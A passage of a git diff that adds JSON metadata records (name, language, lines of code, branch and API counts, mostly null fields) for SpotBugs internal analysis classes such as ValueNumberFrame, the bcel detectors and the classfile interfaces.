Information/checkers/ba/vna/ValueNumber.json @@ -0,0 +1,13 @@ +{ + "name": "ValueNumber", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 148, + "branches": 8, + "apis": 5, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/vna/ValueNumberAnalysis.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/vna/ValueNumberAnalysis.json new file mode 100644 index 0000000..2edaddc --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/vna/ValueNumberAnalysis.json @@ -0,0 +1,13 @@ +{ + "name": "ValueNumberAnalysis", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 465, + "branches": 33, + "apis": 75, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/vna/ValueNumberAnalysisFeatures.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/vna/ValueNumberAnalysisFeatures.json new file mode 100644 index 0000000..fa7b4cd --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/vna/ValueNumberAnalysisFeatures.json @@ -0,0 +1,13 @@ +{ + "name": "ValueNumberAnalysisFeatures", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 48, + "branches": 3, + "apis": 3, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/vna/ValueNumberCache.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/vna/ValueNumberCache.json new file mode 100644 index 0000000..6c65c4e --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/vna/ValueNumberCache.json @@ -0,0 +1,13 @@ +{ + "name": "ValueNumberCache", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 148, + "branches": 17, + "apis": 17, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/vna/ValueNumberDataflow.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/vna/ValueNumberDataflow.json new file mode 100644 index 0000000..28eecd0 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/vna/ValueNumberDataflow.json @@ -0,0 +1,13 @@ +{ + "name": "ValueNumberDataflow", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 79, + "branches": 4, + "apis": 6, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/vna/ValueNumberFactory.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/vna/ValueNumberFactory.json new file mode 100644 index 0000000..b810d62 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/vna/ValueNumberFactory.json @@ -0,0 +1,13 @@ +{ + "name": "ValueNumberFactory", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 121, + "branches": 12, + "apis": 16, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/vna/ValueNumberFrame.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/vna/ValueNumberFrame.json new file mode 100644 index 0000000..6ba3cfb --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/vna/ValueNumberFrame.json @@ -0,0 +1,13 @@ +{ + "name": "ValueNumberFrame", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 783, + "branches": 108, + "apis": 181, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/vna/ValueNumberFrameModelingVisitor.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/vna/ValueNumberFrameModelingVisitor.json new file mode 100644 index 0000000..a1b8d91 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/vna/ValueNumberFrameModelingVisitor.json @@ -0,0 +1,13 @@ +{ + "name": "ValueNumberFrameModelingVisitor", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 862, + "branches": 125, + "apis": 138, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/vna/ValueNumberSourceInfo.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/vna/ValueNumberSourceInfo.json new file mode 100644 index 0000000..226d0b9 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/vna/ValueNumberSourceInfo.json @@ -0,0 +1,13 @@ +{ + "name": "ValueNumberSourceInfo", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 174, + "branches": 19, + "apis": 26, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/vna/package-info.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/vna/package-info.json new file mode 100644 index 0000000..efb6d00 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/ba/vna/package-info.json @@ -0,0 +1,13 @@ +{ + "name": "package-info", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 3, + "branches": 0, + "apis": 0, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/bcel/AnnotationDetector.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/bcel/AnnotationDetector.json new file mode 100644 index 0000000..c65f153 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/bcel/AnnotationDetector.json @@ -0,0 +1,13 @@ +{ + "name": "AnnotationDetector", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 54, + "branches": 3, + "apis": 2, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/bcel/BCELUtil.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/bcel/BCELUtil.json new file mode 100644 index 0000000..b8a48d2 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/bcel/BCELUtil.json @@ -0,0 +1,13 @@ +{ + "name": "BCELUtil", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 131, + "branches": 17, + "apis": 12, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/bcel/CFGDetector.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/bcel/CFGDetector.json new file mode 100644 index 0000000..4b353ec --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/bcel/CFGDetector.json @@ -0,0 +1,13 @@ +{ + "name": "CFGDetector", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 98, + "branches": 6, + "apis": 13, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/bcel/OpcodeStackDetector.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/bcel/OpcodeStackDetector.json new file mode 100644 index 0000000..239538e --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/bcel/OpcodeStackDetector.json @@ -0,0 +1,13 @@ +{ + "name": "OpcodeStackDetector", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 106, + "branches": 7, + "apis": 9, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/bcel/PreorderDetector.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/bcel/PreorderDetector.json new file mode 100644 index 0000000..7aac1d9 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/bcel/PreorderDetector.json @@ -0,0 +1,13 @@ +{ + "name": "PreorderDetector", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 53, + "branches": 3, + "apis": 2, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/bcel/generic/NONNULL2Z.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/bcel/generic/NONNULL2Z.json new file mode 100644 index 0000000..0b9bd6a --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/bcel/generic/NONNULL2Z.json @@ -0,0 +1,13 @@ +{ + "name": "NONNULL2Z", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 17, + "branches": 0, + "apis": 2, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/bcel/generic/NULL2Z.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/bcel/generic/NULL2Z.json new file mode 100644 index 0000000..65a8cf7 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/bcel/generic/NULL2Z.json @@ -0,0 +1,13 @@ +{ + "name": "NULL2Z", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 18, + "branches": 0, + "apis": 2, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/bcel/generic/NullnessConversationInstruction.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/bcel/generic/NullnessConversationInstruction.json new file mode 100644 index 0000000..debd1fd --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/bcel/generic/NullnessConversationInstruction.json @@ -0,0 +1,13 @@ +{ + "name": "NullnessConversationInstruction", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 71, + "branches": 2, + "apis": 8, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/bcel/generic/package-info.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/bcel/generic/package-info.json new file mode 100644 index 0000000..efb6d00 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/bcel/generic/package-info.json @@ -0,0 +1,13 @@ +{ + "name": "package-info", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 3, + "branches": 0, + "apis": 0, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/bcel/package-info.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/bcel/package-info.json new file mode 100644 index 0000000..efb6d00 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/bcel/package-info.json @@ -0,0 +1,13 @@ +{ + "name": "package-info", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 3, + "branches": 0, + "apis": 0, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/bugReporter/BugReporterDecorator.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/bugReporter/BugReporterDecorator.json new file mode 100644 index 0000000..74d29f6 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/bugReporter/BugReporterDecorator.json @@ -0,0 +1,13 @@ +{ + "name": "BugReporterDecorator", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 60, + "branches": 5, + "apis": 6, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/bugReporter/MaxRankDecorator.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/bugReporter/MaxRankDecorator.json new file mode 100644 index 0000000..73052b8 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/bugReporter/MaxRankDecorator.json @@ -0,0 +1,13 @@ +{ + "name": "MaxRankDecorator", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 49, + "branches": 3, + "apis": 4, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/bugReporter/SuppressionDecorator.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/bugReporter/SuppressionDecorator.json new file mode 100644 index 0000000..13ed9e4 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/bugReporter/SuppressionDecorator.json @@ -0,0 +1,13 @@ +{ + "name": "SuppressionDecorator", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 148, + "branches": 19, + "apis": 31, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/bytecode/MemberUtils.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/bytecode/MemberUtils.json new file mode 100644 index 0000000..3bd175c --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/bytecode/MemberUtils.json @@ -0,0 +1,13 @@ +{ + "name": "MemberUtils", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 220, + "branches": 38, + "apis": 22, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/charsets/SourceCharset.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/charsets/SourceCharset.json new file mode 100644 index 0000000..2c6197f --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/charsets/SourceCharset.json @@ -0,0 +1,13 @@ +{ + "name": "SourceCharset", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 65, + "branches": 2, + "apis": 2, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/charsets/UTF8.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/charsets/UTF8.json new file mode 100644 index 0000000..5d0dfa7 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/charsets/UTF8.json @@ -0,0 +1,13 @@ +{ + "name": "UTF8", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 119, + "branches": 3, + "apis": 9, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/charsets/UserTextFile.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/charsets/UserTextFile.json new file mode 100644 index 0000000..bc7cb8b --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/charsets/UserTextFile.json @@ -0,0 +1,13 @@ +{ + "name": "UserTextFile", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 63, + "branches": 2, + "apis": 2, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/CheckedAnalysisException.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/CheckedAnalysisException.json new file mode 100644 index 0000000..3233731 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/CheckedAnalysisException.json @@ -0,0 +1,13 @@ +{ + "name": "CheckedAnalysisException", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 60, + "branches": 3, + "apis": 2, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/ClassDescriptor.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/ClassDescriptor.json new file mode 100644 index 0000000..ff95699 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/ClassDescriptor.json @@ -0,0 +1,13 @@ +{ + "name": "ClassDescriptor", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 293, + "branches": 9, + "apis": 28, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/ClassNameMismatchException.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/ClassNameMismatchException.json new file mode 100644 index 0000000..e5d4233 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/ClassNameMismatchException.json @@ -0,0 +1,13 @@ +{ + "name": "ClassNameMismatchException", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 55, + "branches": 2, + "apis": 2, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/DescriptorFactory.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/DescriptorFactory.json new file mode 100644 index 0000000..7fff964 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/DescriptorFactory.json @@ -0,0 +1,13 @@ +{ + "name": "DescriptorFactory", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 365, + "branches": 34, + "apis": 57, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/FieldDescriptor.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/FieldDescriptor.json new file mode 100644 index 0000000..a9f173d --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/FieldDescriptor.json @@ -0,0 +1,13 @@ +{ + "name": "FieldDescriptor", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 66, + "branches": 4, + "apis": 3, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/FieldOrMethodDescriptor.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/FieldOrMethodDescriptor.json new file mode 100644 index 0000000..5ffeb7b --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/FieldOrMethodDescriptor.json @@ -0,0 +1,13 @@ +{ + "name": "FieldOrMethodDescriptor", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 166, + "branches": 12, + "apis": 19, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/FieldOrMethodName.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/FieldOrMethodName.json new file mode 100644 index 0000000..156a057 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/FieldOrMethodName.json @@ -0,0 +1,13 @@ +{ + "name": "FieldOrMethodName", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 46, + "branches": 4, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/Global.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/Global.json new file mode 100644 index 0000000..b356305 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/Global.json @@ -0,0 +1,13 @@ +{ + "name": "Global", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 59, + "branches": 8, + "apis": 4, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/IAnalysisCache.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/IAnalysisCache.json new file mode 100644 index 0000000..555306d --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/IAnalysisCache.json @@ -0,0 +1,13 @@ +{ + "name": "IAnalysisCache", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 217, + "branches": 14, + "apis": 9, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/IAnalysisEngine.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/IAnalysisEngine.json new file mode 100644 index 0000000..d55414b --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/IAnalysisEngine.json @@ -0,0 +1,13 @@ +{ + "name": "IAnalysisEngine", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 47, + "branches": 3, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/IAnalysisEngineRegistrar.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/IAnalysisEngineRegistrar.json new file mode 100644 index 0000000..bd04f91 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/IAnalysisEngineRegistrar.json @@ -0,0 +1,13 @@ +{ + "name": "IAnalysisEngineRegistrar", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 36, + "branches": 3, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/IClassAnalysisEngine.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/IClassAnalysisEngine.json new file mode 100644 index 0000000..f8ece44 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/IClassAnalysisEngine.json @@ -0,0 +1,13 @@ +{ + "name": "IClassAnalysisEngine", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 40, + "branches": 6, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/IClassConstants.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/IClassConstants.json new file mode 100644 index 0000000..66e6c96 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/IClassConstants.json @@ -0,0 +1,13 @@ +{ + "name": "IClassConstants", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 86, + "branches": 2, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/IClassFactory.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/IClassFactory.json new file mode 100644 index 0000000..8b277b9 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/IClassFactory.json @@ -0,0 +1,13 @@ +{ + "name": "IClassFactory", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 46, + "branches": 2, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/IClassObserver.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/IClassObserver.json new file mode 100644 index 0000000..3bfd42c --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/IClassObserver.json @@ -0,0 +1,13 @@ +{ + "name": "IClassObserver", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 37, + "branches": 3, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/IClassPath.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/IClassPath.json new file mode 100644 index 0000000..2745b47 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/IClassPath.json @@ -0,0 +1,13 @@ +{ + "name": "IClassPath", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 92, + "branches": 4, + "apis": 3, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/IClassPathBuilder.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/IClassPathBuilder.json new file mode 100644 index 0000000..4a3ced8 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/IClassPathBuilder.json @@ -0,0 +1,13 @@ +{ + "name": "IClassPathBuilder", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 77, + "branches": 7, + "apis": 2, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/IClassPathBuilderProgress.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/IClassPathBuilderProgress.json new file mode 100644 index 0000000..890af49 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/IClassPathBuilderProgress.json @@ -0,0 +1,13 @@ +{ + "name": "IClassPathBuilderProgress", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 41, + "branches": 3, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/ICodeBase.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/ICodeBase.json new file mode 100644 index 0000000..32612ce --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/ICodeBase.json @@ -0,0 +1,13 @@ +{ + "name": "ICodeBase", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 138, + "branches": 11, + "apis": 4, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/ICodeBaseEntry.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/ICodeBaseEntry.json new file mode 100644 index 0000000..4a54613 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/ICodeBaseEntry.json @@ -0,0 +1,13 @@ +{ + "name": "ICodeBaseEntry", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 84, + "branches": 7, + "apis": 2, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/ICodeBaseIterator.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/ICodeBaseIterator.json new file mode 100644 index 0000000..c8a554f --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/ICodeBaseIterator.json @@ -0,0 +1,13 @@ +{ + "name": "ICodeBaseIterator", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 50, + "branches": 4, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/ICodeBaseLocator.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/ICodeBaseLocator.json new file mode 100644 index 0000000..c3eb11c --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/ICodeBaseLocator.json @@ -0,0 +1,13 @@ +{ + "name": "ICodeBaseLocator", + "language": "java", + "description": null, + "example": null, + "cwe": null, + "cwe-description": null, + "checker-language": "java", + "loc": 58, + "branches": 3, + "apis": 1, + "test": [] +} \ No newline at end of file diff --git a/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/IDatabaseFactory.json b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/IDatabaseFactory.json new file mode 100644 index 0000000..5b24e31 --- /dev/null +++ b/Raw Data/Static Analysis Tool/Spotbugs/Rule Information/checkers/classfile/IDatabaseFactory.json @@ -0,0 +1,13 @@ +{ + "name": 